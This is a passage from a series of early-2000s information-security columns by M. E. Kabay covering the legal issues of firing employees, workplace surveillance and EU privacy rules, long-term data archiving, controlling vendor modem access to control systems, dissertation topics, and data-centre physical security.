The way an organization handles job termination affects more than internal relations. It also influences its image in the outside world. Prospective employees will think twice about accepting job offers from an organization that maltreats departing employees. Clients may form a negative impression of a company's stability if it abuses its own people. Investors may also look askance at a firm that gets a reputation for shoddy treatment of employees. Bad employee-management relations are a warning signs of long-term difficulties.

Finally, just in case you are wondering if this is still a security column, yes indeed! All of the factors mentioned above affect the foundation for sound information security. People are the key to effective INFOSEC, and disaffected employees and angry ex-employees are still important threats according to many current studies. For example, the annual computer crime survey published by the Computer Security Institute in March 2000 (see < http://www.gocsi.com/prelea_000321.htm >) suggested that computer crime threats to large corporations and government agencies come from both inside and outside their electronic perimeters, confirming the trend in previous years. Seventy-one percent of 643 respondents detected unauthorized access by insiders.

Personnel Management and INFOSEC

Part 11. Legal issues in firing people

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

In this series, we are reviewing some of the implications of personnel management for information security. In several previous articles, I discussed practical considerations in how to terminate employment with the least possible suffering and the lowest threat to security and I made reference to legal issues. In this article, I want to look at the legal issues in employment termination in a bit more detail.

There's another dimension to employment termination that depends on local laws and the litigation environment. The United States, for example, is said to be one of the most litigious nations on the planet, perhaps because of the high number of lawyers per capita.

Now, let's be sure everyone understands the obligatory disclaimer to avoid going to jail for dispensing legal advice without a license: I am not a lawyer and this is not legal advice. For legal advice, consult an attorney.

However, simple experience does teach one some principles even without going to law school. Here are some pragmatic guidelines for preventing legal problems related to firings:

- Build a solid, documented case for firing someone before acting. Keep good records, be objective, and get the opinions of several trustworthy people on record.
- Give the employee clear feedback long before considering firing.
- Offer the delinquent employee all reasonable chances to correct his or her behavior.

Timing is important in employee relations, as it is in almost everything else we do. In particular, if an employee is found to be behaving improperly or illegally, there must be no marked delay in dealing the with problem. Such a person could sue the employer and individual managers. They could argue in court that the very fact that there was a delay in firing them was proof that the firing was due to other factors such as personality conflicts, racism, or sexism. A well-defined procedure for progressing through the decision will minimize such problems.

The critical legal issue is consistency. If rules such as those described above for the day of the firing are applied haphazardly, there could easily be grounds for complaining of unfairness. Those to whom the rules were strictly applied would justifiably feel implicitly criticized. How would we feel if we were singled out by having guards check what we took home from our desk -- if everyone else got a party and two weeks notice? Such inconsistency would be grounds for legal proceedings for defamation of character. The company might lose and it might win, but what non-lawyer wants to spend time in court?

Another issue that arises in connection with firings and resignations is non-disclosure agreements. All such agreements must be included in a contract signed before the prospective employee begins work; it is impossible to force an existing employee to sign such an agreement. I remember one

employer approaching me two years into my contract with them and asking that I agree that all patents I might develop -- even those resulting from work at home in off-hours--would belong to the employer. I refused, and there was nothing they could do about it (well, fire me, maybe). Any attempt to threaten an employee with dismissal could result in a successful lawsuit for breach of contract and, if the threat were carried out, wrongful dismissal.

You, your legal department and your personnel department should study the necessity and feasibility of instituting a legally-binding contractual obligation to protect your company's confidential information for a specified period of time after leaving your employ. You cannot impose indefinite gags on people, but one year seems to be normal. For this measure to be meaningful, you must include a clause in the initial employment contract that requires the departing employee to reveal his new employer, if there is one at that time.

Non-competition agreements require the employee to refrain from working for direct competitors for perhaps a year after termination of employment. The key to a successful clause here is that there be a strict, operational definition of "direct competitors." Because this limitation can be an onerous impediment to earning a living, many jurisdictions will forbid such clauses.

Surveillance in the Workplace

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

One of the many interesting topics of discussion at the 9th Annual Meeting of the European Institute for Computer Anti-virus Research (EICAR) this March in Brussels was privacy. In the panel discussion on privacy policies in the European Community, we touched on the issue of workplace monitoring.

A key question in any such discussion is the definition of privacy. Most experts see privacy as the result of awareness and control by the data subject. According to th stringent new rules of the European Privacy Directive, the subject should know and be able to control what information she is revealing to whom and for what purposes. This principle implies that transmission of data to authorized recipients should be confidential so that unauthorized personnel or organizations not have access to the information. In addition, once the data are collected and manipulated by an agency, the data subject must have the right to see what has been collected, to correct errors, to determine the ways in which the data may be applied or with whom they may be shared, and may remove permission for data storage and distribution.

Although there is relatively little hard evidence based on systematic, scientific investigation of altitudes and beliefs on this question, several speakers on the panel and in the audience thought that the US and Europe seem to differ in fundamental attitudes towards privacy.

* People in the US are more likely to be surprised by the European Community (EC) Privacy Directive's requirements than Europeans.

* US residents seem to take it for granted that it's acceptable to opt-in by default and opt-out explicitly from data collection; in contrast, the speakers believed, Europeans seem to start from the premise that privacy should be the baseline, with explicit opt-in required to allow data collection and sharing.

* Europeans have more faith in the privacy protections afforded by government regulations; in contrast, US residents seem to be more skeptical of all government initiatives, including privacy protection.

* In certain European countries such as Germany, employees are guaranteed baseline privacy protection with the workplace unless there are explicit civil contracts with trade unions to override these protections. For example, it is a given that an employee is entitled to privacy of a locker or of a drawer in their desk. Similarly, only if an employee willingly surrenders privacy rights would it be acceptable to monitor corporate e-mail and files on disk. In contrast, in the US, there seems to be wider acceptance of the normality of having total access to e-mail and files on corporate systems as long as the employment contract is clear on this condition.

In general, the panel and audience agreed that there are some very serious consequences of failing to make the ownership of e-mail and files clear to employees when they come on board. The worst situation arises if employees are granted the right to control personal information residing on corporate systems; under the European Privacy Directive, such employees would have the right to order the destruction of their "private" e-mail and files on disk and on backup media. The

complexity of purging backups would be enough to give any system administrator nightmares; the quagmire of deciding which files and messages are legitimately defined as corporate vs private could occasion tremendous costs and quite likely lead to litigation.

No, as I understand it -- and I am not a lawyer and this is not legal advice (for legal advice consult an attorney with expertise in intellectual property law) -- corporations should be absolutely clear when hiring staff so everyone understands that all data created by employees of an organization must be the property of that organization and that there is absolutely no right of privacy for such material.

In addition, lawyers tell me that a single signature at time of hiring is insufficient protection for the corporation. The privacy policy must be well known and seen to be enforced.

Warnings at logon may not be sufficient in Europe; I was told that some EC judges have ruled that logon banners are known to be widely dismissed by employees and therefore cannot be adduced as sufficient evidence of informed consent to full disclosure of e-mail and files on the corporate system.

My Canadian friends and colleagues warn that Canadian privacy protection is stricter than US standards and that Canada has moved quickly to conform with the EC Privacy Directive.

In summary, there seem to be different perceptions of privacy between Europe, Canada and the United States. Multi-national corporations and those doing business internationally will do well by checking their workplace monitoring policies with all the relevant legal advisors to ensure that no one inadvertently violates the strict privacy standards that are evolving in Europe today.

The Evanescence of Data

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

Everyone makes backups and stores them, right? And everyone keeps archives of electronic data in accordance with legal requirements or organizational policy, right?

Well, no.

Many of us are storing records in ways that make it unlikely we will ever be able to read them in the long term required for archival use. And archivists ought to know better.

Storing records is only half the task of records management; supporting availability and utility is the essential function. No one wants a WOM (write-only memory) for their records. For short-term storage, there is no problem ensuring that stored information will be usable. Even if a software upgrade changes file formats, the previous versions are usually readable. In a year, technological changes such as new storage formats will not generally make older formats unreadable.

Over the medium term, up to five years, difficulties of compatibility do increase, although not catastrophically. There are certainly plenty of five-year old systems still in use, and it is unlikely that this level of technological inertia will be seriously reduced in the future, if only because of the growing resistance to forced change on the part of computer users.

Over the longer term, however, there are serious problems to overcome in maintaining the availability of electronic records. Over the last thirty years, certain forms of storage have become essentially unusable, regardless of the persistence of data. As an example, AES was a powerful force in the dedicated word-processor market in the 1970s; eight-inch disks held dozens or hundreds of pages of text and could be read in almost any office in North America. Today, it would be extremely difficult to recover data from AES diskettes.

The problems of obsolescence include media degradation, software incompatibilities and hardware incompatibilities.

MEDIA DEGRADATION

Magnetic media degrade over time. Over a period of a few years, thermal disruption of magnetic domains gradually blurs the boundaries of the magnetized areas, making it harder for I/O devices to distinguish between the domains representing ones and those representing zeroes. These problems affect tapes, diskettes and magnetic disks and cause increasing parity errors. Specialized equipment and software can compensate for these errors and recover most of the data on such old media.

Tape media suffer from an additional source of degradation: the metal oxide becomes friable and begins to flake off the Mylar backing. Such losses are unrecoverable. They occur within a few years in media stored under inadequate environmental controls and within five to ten years for properly-maintained media. Regular regeneration by copying the data long before the underlying medium disintegrates prevents data loss.

Optical disks, which use laser beams to etch bubbles in the substrate, are much more stable than magnetic media. Original predictions in the 1980s suggested that CD-ROMs would remain readable for decades and more; however, more recent reports suggest that even these relatively stable devices are subject to data degradation over a period of roughly a decade. Archivists predict that a CD ought to last about 25 years when stored at 10 C (50 F) and 30% relative humidity.

Now that you've read all that, I'm sure that the following well-known warning makes a lot of sense: verify the readability of your backups before storing them.

SOFTWARE

Software incompatibilities include the application software and the operating system.

The data may be readable, but will they be usable by today's and tomorrow's software? Manufacturers provide backward compatibility, but there are limits. Modern word processing software can convert files from earlier versions of a variety of products -- but only back a few years. Over time, most application programs evolve and drop support of the earliest data formats. Database programs, E-mail, spreadsheets -- all of today's and tomorrow's versions may have trouble interpreting old data files correctly. The situation can be even worse for in-house proprietary programs, where maintaining compatibility with archival materials can simply drop out of the list of priorities when budgets are tight.

In any case, all conversion raises the possibility of data loss since new formats are not necessarily supersets of old formats. For example, in 1972, RUNOFF text files on mainframe systems included instructions to pause a daisy-wheel impact printer so the operator could change daisy wheels -- but there was no requirement to document the desired daisy wheel. The operator made the choice. What would document conversion do with that in-line instruction?

Operating systems evolve (or, in some cases, degrade -- but that's another story). Programs intended for Windows 3.11 of a decade ago do not necessarily function on today's versions of Windows. And the operating systems of yesteryear do not necessarily run on today's hardware. Even emulators can cause problems because, again, there is no guarantee of compatibility between the emulated system and the emulator.

HARDWARE

Finally, even hardware eventually becomes impossible to maintain. As mentioned above, it would be extremely difficult to retrieve and interpret data from word-processing equipment from even twenty years ago. No one outside museums or hobbyists can read an 800 bpi 9-track 3/4-inch magnetic tape from a 1980 HP3000 Series III minicomputer. Over time, even such parameters as electrical power attributes may change, making obsolete equipment difficult to run even if they can be located.

The most robust method developed to date for long-term storage of data is COM (Computer Output to Microfilm). Documents are printed to microfilm, appearing exactly as if they had been printed to paper and then microphotographed. Storage densities are high, storage costs are low, and in the worst case, the images can be read with a source of light and a simple lens. In a pinch, the data could theoretically be converted back to digital formats using optical character recognition.

Information security demands that we be able to read old data: it is time for us to pay serious attention to long-term storage technologies.

Controlling Vendor Access to Production Systems

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

A reader wrote

>I am at present producing a standard on modem access by suppliers to our control systems. The control systems are used to control the electricity production process. I have just watched your CD on _Identifying and Managing IT Risk Factors_ and the security aspects of this relate to data-collecting office systems. While the CD did help formulate some ideas, it would be ideal to talk with someone who has looked into the security aspects of accessing control systems via a modem. <

Here is what I answered:

Thank you for writing to me. I do not know exactly what kinds of your systems need remote vendor access. For example, some of your process systems (generators? boilers? environmental controls?) may need access directly; your information technology systems (processors, mass storage, communications equipment) almost certainly do.

There are some easy policies and procedures you can define and implement at once. There are others that are difficult and expensive.

* Whatever you do, be sure that you eliminate canonical (i.e., uniform default) passwords -- that is, passwords that were assigned by the vendor and that are the same across all installations. Such passwords are notorious when users are unaware of the issue and simply accept what they're given out of the box. This component is essential and easy to accomplish.

* Modems used only for maintenance by suppliers (and thus never for anything else) should be disabled (powered down or even unplugged) unless and until they are required for a specific communication that has been authorized by the appropriate member of the operations team. When the task is over, the modems should be made physically inaccessible again.

* Going one better, use two passwords for vendor accounts: one known to the vendor and used only when access has been authorized; the other, unknown to the vendor, at all other times. Do not use the same access password across accounts. Ideally, use stronger authentication such as tokens or biometrics for all access to all systems.

* Verbal requests for authorization should include some mechanism for authentication of the request; e.g., use of a pass phrase recorded by both the vendor and the Ops team. E-mail requests for access should include the precise start time for access and be signed using a verifiable digital signature (e.g.,, Entrust, PGP, Verisign and so on).

* If it is feasible, you could arrange for more secure communications. For example, it is possible to install old-style encrypting modems and to give each vendor a matched modem so they and only they could use the dial-up communications link. The use of the link encryption is primarily to limit access rather than protection of the link itself against interception. The problem, of course, is the perfectly legitimate resistance your vendor will express to having to install a special, restricted modem tied to reaching your and only your site. I don't think you'll get much enthusiasm from your

own financial managers: this kind of pairwise or n-wise hardware-based access control is prohibitively expensive.

* A more practicable and useful approach is to use a remote access server (RAS) that provides encryption and access controls for anyone dialing into your systems. Such systems are useful for all your employees who need to communicate through the phone lines rather than through the Internet. You can usually install strong identification and authentication tools that will help you protect not only against abuse of your vendor access but also access by your employees and other users of your systems. Mind you, I don't imagine you have all that many people accessing your power plant computers from the outside, but RAS servers can easily serve multiple targets.

* Network topology is not always recognized as a potentially strong element of effective security. Details depend very much on the specifics of your functional requirements -- i.e., on who needs to access what in your networks. For example, in a real-time process-control system, it is possible that none of your production systems are hooked to any other systems that are in turn accessible through modems (or Internet connections). A general principle for secure network topologies is to segregate segments of your network that should not intercommunicate as a general rule. Perhaps in your case the example could be that there is no earthly reason why your accounting group should ever have any access whatever to the control systems for your generators. Such partition can be physical segregation (sometimes known as an air gap) of the networks -- no connection at all. However, there may be practical reasons for allowing limited access across parts of the internetwork; in those cases one can use routers and firewalls to limit traffic and allow only specified kinds of communication.

* A different approach is to discuss with your vendors whether they can function through an Internet connection. If you are already reachable via the Internet, then you can apply all of the security measures that are consistent with that medium: firewalls, virtual private networks, intrusion detection systems, token-based or biometric authentication.

>Do you know of any organization or website that might assist me?<

First of all, I will forward your entire message to my INFOSEC colleague in the nearest office of our company. As for other sources of information, you'll be in good company if you communicate with experts and other users through Network Fusion <http://www.nwfusion.com>, the SecurityPortal <http://www.securityportal.com>, and the ICSA.net site <http://www.icsa.net> among others.

Dissertation Topics (1)

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

I have received several requests from students over the last year asking for suggestions on PhD thesis topics in INFOSEC; here is the latest one:

>I am thinking of doing my PhD in security and I wanted to ask
>your advice on what areas need the most research.<

Off the top of my head:

(1) Mandatory reporting of computer security breaches: mandatory reporting in the health, transportation, and financial securities fields with recommendations for INFOSEC.

You would study documents and interview people from the LCDC, JCAHO, DoT, SEC and made sense of the historical patterns and current regulations governing mandatory reporting of computer crimes. You could interview law enforcement people (FBI InfraGard program, attorneys), privacy advocates, corporate security personnel and executives, and academics. The project might involve surveys and statistical analysis. You could explore regulations in different countries if you wanted to. Your thesis would ideally end with a thorough analysis of the costs and benefits of mandatory reporting and a discussion of how such a system could be implemented successfully if you decide it would be worth trying.

(2) Analysis of technical and political aspects of identification and authentication technologies: tokens, smart cards and biometrics versus passwords.

This study would examine the current state of various I&A mechanisms. You would survey the literature, including produce evaluations and certification schemes, and then use survey instruments to evaluate the relative market-share of the different devices. You would want to interview principals at various firms where such systems are made as well as users. Of particular interest: user perceptions and relative acceptance of the different techniques. This study would allow you to delve into current issues of great interest such as legal ramifications of I&A and popular perceptions and attitudes about strong I&A. The study could conclude with recommendations for improvements and projections of the longer-term trends in I&A.

More in the next episode of this short series.

Dissertation Topics (2)

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

In this mini-series, I am responding to students who have asked me for ideas on what they could do in their PhD thesis research in the field of INFOSEC.

(3) Denial of service: threats and countermeasures.

For a more technically-oriented and theoretical dissertation, perhaps you would like to lay out a theoretical structure explaining how denial of service attacks can be created for any system. You would detail many examples of DoS attacks and compare and contrast them to develop a theoretical framework for classifying, understanding and countering such attacks. You would analyze and describe proposals in IPv6 and RFCs currently circulating in the IP community for tightening up defenses against DoS. Maybe you could arrange to interview luminaries such as Dave Dittrich, Peter Northcutt, Robert Moskowitz and others and compare and contrast their perspectives. The thesis could conclude with your opinion on proposals for changes in the TCP/IP and other aspects of the Internet to prevent further DoS attacks.

(4) Artificial intelligence and security countermeasures.

For a more computer-science oriented thesis -- AI technology and advanced pattern recognition are critical components of many aspects of today's security technology. This thesis would allow you to learn a great deal about heuristic systems, neural networks, probabilistic modeling, Markov chaining, biometric authentication, and intrusion detection. You would study the literature and interview research scientists, including developers at commercial firms, to analyze and describe the direction of this exciting area of work. Perhaps you could study the actual real-world implementation of such techniques and summarize your analysis of the advantages and disadvantages (or costs and benefits) of the different approaches. Naturally, you would want to finish with concrete recommendations and a picture of what the future holds.

. . . and a couple more topics in the next episode.

* * *

Mich Kabay can be reached by e-mail at <mkabay@atomictangerine.com>.

AtomicTangerine is the Internet's first e-business venture consulting firm, combining the disciplines of venture capital, technology innovation and strategic consulting to create category killers and incubate new industries for companies of all sizes and at all stages of evolution. AtomicTangerine headquarters are in the San Francisco Bay Area and we have offices in New York, London, Tokyo, Washington DC, Boston, Denver and Seattle/Tacoma. Dissertation Topics (3)

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

In the last of this mini-series, I am responding to students who have asked me for ideas on what they could do in their PhD thesis research in the field of INFOSEC.

(5) Analysis of vulnerabilities: identification, taxonomy and repair.

What are the kinds of vulnerabilities that we need to spot in our systems? Who is using which technique to find and identify such vulnerabilities? What are the taxonomic systems used to describe vulnerabilities? How do products and practitioners fill security holes? This thesis topic would give you an opportunity to work closely with auditors, large IT security consulting firms, penetration specialists (including maybe some of the companies using "ex-"criminal hackers), certifying authorities (e.g., British Standards Institute, National Information Assurance Partnership, ICSA.net), and people and organizations who publicize vulnerabilities (e.g., CERT-CC, BugTraq moderator, contributors to various other lists). Perhaps you would want to study the quality assurance programs of major operating-system manufacturers to illustrate differences in underlying architectures and QA methodologies to explain why some operating systems have more security holes than others. This thesis might also be a good opportunity to study the TCP/IP and IPv6 with an eye to showing how fundamental networking protocols influence security.

(6) Computer anti-virus technology: the never-ending battle.

You would study the history of computer viruses and describe the evolution of virus techniques and the countermeasures used by the anti-virus industry. You could probably get cooperation to interview people at ICSA Labs who run the AVPD (Anti-Virus Product Developers' Consortium), people at _Virus Bulletin_, industry experts from the AV community in industry and academia (you would for example contact Sarah Gordon at IBM, who has been studying the virus-writing subculture for many years), and maybe even some people who write viruses. It would be helpful to describe how the Microsoft operating systems have allowed binary viruses to infect so many systems (in contrast with UNIX-flavored operating systems). Perhaps you could interview the people who were responsible for deciding to allow automatic execution of macros -- thus turning word processors and spreadsheets into suitable platforms for macro viruses and all the trouble they have caused. You could study virus-exchange boards/groups to get a better understanding of the psychology of these people (many of them are kids). It would be great to have a professional study of attitudes towards viruses in different age groups and perhaps even in different countries (a major effort indeed). I guess that the people at ICSA Labs and _Virus Bulletin_ would be happy to help you with access to their anti-virus data (you understand that I can't assure you of this, since I have not spoken to anyone there about this issue). You might end your thesis with a picture of what the future holds and your opinion on how best to fight this scourge given your findings.

(7) INFOSEC and corporate culture: a psychosocial analysis

You would look at how information security is developed and implemented in a wide range of

corporate, academic, and government organizations. Your work would focus on the state of security policy, the ways policies are developed and implemented, the kinds of reactions and feelings employees express about security policy, and methods currently being used to improve the quality of policies and the rates of compliance with those policies. If you are interested in interventionist work, you could even run some experiments to look at the effectiveness (in terms of compliance) of different approaches to INFOSEC policy implementation. Maybe you could do some cross-industry or even cross-cultural comparisons if that's interesting to you; for example, what are the factors that might account for observed differences in compliance rates across industries and across cultures?

For more ideas, I suggest that you join the INFOSEC Educators' List run by Dr Fred Cohen; you can join by sending your name and e-mail address to <secedu-subscribe@onelist.com>. You can post your request for ideas there and I'm sure you will receive excellent suggestions from INFOSEC educators around the world.

I wish you the very best in your work, and don't hesitate to correspond further with me if you like.

Best wishes,

Mich

Physical Security: Building Location

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

Today we begin a series of short notes on physical security for network managers. Physical security looks at aspects of the environment in which we work and where we place network components. In many of my consulting assignments doing enterprise security reviews, I have seen serious physical security problems; I hope that this overview will help fill in some of the missing information.

If you're planning to build a new computer center or relocate your existing equipment to an existing building, you have an opportunity to make your building work for you instead of against you. By picking the right combination of location, structure and layout, you can decrease your vulnerability while increasing the usability and maintainability of your equipment.

We'll start with cases where we have a choice of placement for our facilities.

* * *

Natural risks

If you're starting from basics, you can consider the geographical location of your new site. Study long-term weather patterns, including frequency of heavy winds (e.g., tornadoes, hurricanes, and monsoons), snow, and lightning. Unless you're devoted to a life of great excitement, the likelihood of earthquakes should play a role when siting a major data center.

Neighborhood risks

If it weren't for personal experience, I'd be embarrassed to remind you not to situate your data center in a dangerous place. Sounds like motherhood-and-apple-pie. But consider the following:

One fine spring day, as I drove to a data center where I was due to start a security audit, I noticed a field of enormous storage tanks on my left. It looked like a science fiction movie: row upon row of spheres and cylinders holding millions of liters of gasoline, diesel fuel and home heating oil. I was startled to find, upon following my directions, that the data center was directly across the road, no more than 200 meters away.

As I parked my car, I noticed a freight rail road crossing diagonally immediately behind the building. The tracks were still bright, so the railway was still in active use.

Finally, just as I was about to enter the building, I heard a passenger jet screaming across the sky just above, flaps out, heading for a landing at the regional airport.

Now that was a poorly situated data center.

Before choosing the building which will hold your corporate offices or data center, examine the neighborhood. Avoid

- flight paths for the local airport
- nearby chemical or explosives plants
- neighboring elevated highways
- railway freight lines.

Look out for

- mine shafts
- toxic waste dumps
- sources of dust and smoke (e.g., industrial incinerators)
- new or planned building activity (the vibration of pile drivers will harm your systems).

How easy would it be to reach the site in an emergency?

- Is there redundant road access?
- Are there several sources of help to fight fires?
- Is there police support and emergency rescue within easy reach?

Examine the socio-economic profile of the proposed location.

- Are there poor areas around the site?
- What's the crime rate?
- Is it improving or declining?

A participant in one of my courses reported that their corporation decided to move their headquarters one day after the new CEO took over.

Someone had shot at him in the parking lot on his first day at work.

On the other hand, some corporations and other organizations explicitly include contribution to their community as a goal; for example, AtomicTangerine training sessions ("boot camps") focus on helping selected non-profit organizations to upgrade their Web sites (see http://www.acm.org/ubiquity/views/m-kabay-2.html and http://www.neads.org). Perhaps instead of running away from a troubled area, we can help improve the socioeconomic conditions there by providing work, support for schools, and volunteer efforts to support other social action.

Whatever you decide, be sure to re-evaluate your physical location periodically and take appropriate action to protect your corporate resources.

Physical Security:

Location Within a Building

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

This is one of a series of short notes on physical security for network managers. Physical security looks at aspects of the environment in which we work and where we place network components.

Today we will start looking at security aspects of the design of buildings containing computer and network centers by focusing on where we should place network and data centers within a building.

* * *

In the March 1993 session (Atlanta, GA) of the Information Systems Security course I taught, a participant reported that a major company installed millions of dollars of computer equipment, electrical power conditioners and air conditioners on the 11th floor of an office tower. One Monday morning, the staff arrived to discover no 11th floor--and no 10th floor--and no 9th floor. The company had neglected to consult a structural engineer before loading the building with all that equipment. Luckily, no one was hurt in the collapse; however, damages ran over $100 million.

Access to the computer center should allow easy installation of equipment yet protect that equipment and its operators against physical assault. The ground floor seems too easy to attack; underground is susceptible to flooding. In the movie "Die Hard," we see a Hollywood conception of a computer center: near the top of an office tower and entirely surrounded by glass. Since some computer equipment (or support equipment such as large-scale air-conditioning units) is larger than freight elevators can handle, the units have to be lifted into place using building cranes. The higher the computer center, the more expensive the crane. In case of fire, there may be a longer lead time for your staff to shut off the equipment and make their way to safety than if they're high up in a sky-scraper.

The second floor seems like a good compromise.

Physical Security:

Placement (2)

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

This is one of a series of short notes on physical security for network managers. Physical security looks at aspects of the environment in which we work and where we place network components.

Today we will continue our look at security aspects of the placement of critical elements of our networking and computational infrastructure.

* * *

Place the network center or computer room far from hazardous areas. One story circulating in the security field tells of a security auditor in the U.K. who wondered about the vibrations he felt in his feet every now and then. "Oh that?" responded the data center manager, "That's just the lorries with the petrol." The computer room was directly over the passageway through which trucks carrying fuel oil regularly rumbled. Not a low-risk situation.

High-security vaults are required by law to have no external walls. That is, they are completely inside their building with corridors completely surrounding them. This design makes it much more difficult to punch holes into the data center without having anyone notice. And in case you doubt that a frontal assault on a computer center is likely, some automatic teller machines have been removed holus-bolus by thieves operating back-hoes and forklifts (it does make one wonder about why no one thought it odd to see a forklift trundling along with an ATM in the middle of the night).

When I was teaching in Africa in the 1970s, I recall thieves simply ramming their way into houses with trucks or cutting through the roof to enter secured buildings. And back in the Spring of 1995, one of the participants in an online "Computer Crime and Countermeasures" course told us about how a series of smash-and-grab attacks had been made on a local company known to have installed large numbers of new workstations. The criminals simply crashed through the wall and made off with the equipment in the minutes before the police could respond to building alarms. Maddeningly, the criminals apparently watched and waited until the victims had replaced all the equipment--and did it again! They were dissuaded from further repetitions by having a 24-hour guard mounted on the site.

Physical Security:
Labeling

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

This is one of a series of short notes on physical security for network managers. Physical security looks at aspects of the environment in which we work and where we place network components. In this segment, we consider the problem of labeling of critical network and system components.

* * *

One of the perpetual debates in INFOSEC is the value (or worthlessness) of what practitioners call "security through obscurity." The question is whether one can improve security by hiding information. For example, does it help to hide the details of an encryption product so that no one can easily find the algorithm? Dr Dorothy Denning enunciated what many of us call Denning's Law: that the strength of a cryptographic algorithm must not depend on its secrecy. A corollary of Denning's Law is that the validity of an implementation of a strong cryptographic algorithm can best be evaluated when the details of that implementation are accessible. In other words, distrust proprietary implementations of cryptography -- there may be mistakes concealed in the object code that would leap out at (and be fixed) if the source code were made available for inspection.

Well, it's a long way from cryptography to building layout and physical security, but there is a connection. Some aspects of the layout may fruitfully be concealed to make the job of the attacker harder; however, some of the information about buildings ought to be available to improve emergency response.

Specifically, once you've built the computer room, be sure the local fire department knows exactly where it is. Keep your plans, including layout, up to date and coordinate with the fire marshals in your municipality.

However, there is no reason to mark the computer room with special neon flashers that read, "THIS WAY TO MILLIONS OF DOLLARS OF VULNERABLE EQUIPMENT." When I led a delegation of Japanese data center managers to visit the headquarters of EDS Inc. in Dallas in 1991, I was much struck by the anonymity of the equipment rooms. We walked through immense corridors with identical, boring metal doors, each marked with a numbering scheme. They all looked as if they could be broom closets. Then we'd open one up and find vast gleaming, sterile chambers of white tiles with and filled with huge CPUs -- silent titans standing in rows with blinking red and green eyes. Today, I suppose, the same processing power would fit into someone's desk and look like a boring little box with a few holes and slots scattered around the surface.

The theory was that anyone who needed to know where the computers were knew where they were; why help anyone else locate such an inviting target?

Physical Security:

Layout

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

In this series, we are looking at how physical security can support the security needs of network operations centers (NOCs) and data centers (DCs). Today's brief note is about how to position equipment and services within the center.

* * *

Within your data center, try to put separate functions in different compartments. For example, keep printers away from consoles, disk drives, processors, patch panels and server racks: the paper is a fire hazard and the paper dust gets into your air filters.

To ensure that you don't wipe our your backups if there is a disaster in your NOC or DC, put tape vaults and data safes far away from your disk drives. However, you can reasonably have a local fire-proof safe or vault for the convenience of operators as long as the tapes stored there are not your latest backups.

Put your access-control equipment into a separate, high-security area, not with the rest of the computers. Security measures should reflect the potential exposure (consequences) of compromise; since access to the security equipment compromises everything else, it makes sense to guard it even more strongly than other components of your networks and systems.

Position your phone switches away from the computer room so that a single attack cannot put your entire operation into jeopardy. This suggestion follows the principle of reducing the number of single points of failure -- more humbly known as not putting all our eggs in one basket.

The lower the traffic through a secure perimeter, the lower the risk of failure. Accordingly, try to keep your operations personnel comfortable inside the secure areas surrounding your equipment as much as possible; for example, include rest rooms, eating areas and office space for the staff who run your production systems within a tightly-controlled space inside the perimeter. This recommendation does not mean that you should forbid staff from leaving the secured area on their off time -- that's their perfect right. However, the availability of such facilities will be convenient for some of the staff some of the time and will contribute to lowering the risk of intrusion and increase the speed of response to emergencies in the NOC or DC.

Physical Security:

Walls and Doors

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

In this series, we are looking at how physical security can support the security needs of network operations centers (NOCs) and data centers (DCs). Today's brief note is about walls and doors.

Walls

When you build an enclosure for expensive and critical equipment, be sure they're substantial walls, not mere drywall partitions. Reinforced concrete that runs from slab to slab is best. Be sure the design alllows for no crawl spaces around the wall above a drop ceiling or below a raised floor.

Check your plans and forbid any closets in the walls of your NOC or DC; they are weak spots and also provide concealment should anyone decide to punch through the wall using drills or explosives.

Finally, if your security needs are usually high (or if you have been watching too many action movies), talk to your architect about the design of the outermost walls of your building. Avoid chases (decorative indentations on the side) and other features such as rusticated stone that could make it easier for assailants to use mountain-climbing techniques to climb your building.

Doors

Have as few doors as possible. You must know and obey all the safety regulations which mandate the number of exits you must include for protection of human life. Your architect will know what the law requires. However, only one door should be used for entry and normal exit. All the others should be used as emergency exits only. All doors should be equipped with crash bars and alarms and decorated accordingly. You can even buy signs that read, ADOOR IS ALARMED,@ (which always make me want to pat the door and reassure it that everything will be OK).

Choose heat-resistant doors (solid metal or thick metal with a structurally-sound core) and avoid any glass if at all possible. If safety regulations require glass panels to prevent smashed noses, insist on multiply-laminated bullet-proof, shatterproof small panels. Glass is a weak point anywhere in the secured area.

Installing a door that would make your local bank proud will be pointless if the frame is so weak that it -- and the door -- can be pried out of the wall with a crowbar. Door frames should be anchored solidly in the wall; if possible, bonded to the structural members of the wall. Door hinges should be on the inside of the secure area so they can't be dismantled. Choose hinge pins that are welded into place -- not the ones that can be unscrewed and removed by anyone with a home tool kit.

Protect door locks with astragals (a lovely word meaning the edge-plates that prevent nasty folk from inserting credit cards, screwdrivers and chisels into the latch and forcing the door open). I have seen many sites which use astragals which extend from top to bottom of the door to provide maximum protection.

Don=t use motion or simple proximity sensors to unlock or open doors into secure areas. Sliding doors controlled by such sensors -- like those used in many public buildings -- can generally be opened from the outside simply by pushing a sheet of paper through the rubber gaskets and waving it about.

Physical Security:

Windows

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

In this series, we are looking at how physical security can support the security needs of network operations centers (NOCs) and data centers (DCs). Today's brief note is about windows.

* * *

Don't put windows in your network and data centers. I've already pointed out that there should be no outer walls in your computer room, let alone windows. Windows are physically weak; their frames are weak; and they let too many people see how you've laid our your equipment -- including your security equipment.

I recall one manufacturing site where I stopped next to the floor-to-ceiling windows around the computer console room and stared at the five meter banner on the wall. It had huge numbers printed on it. I asked, "That's not the main modem number, is it?" Yup. So much for dial-in security.

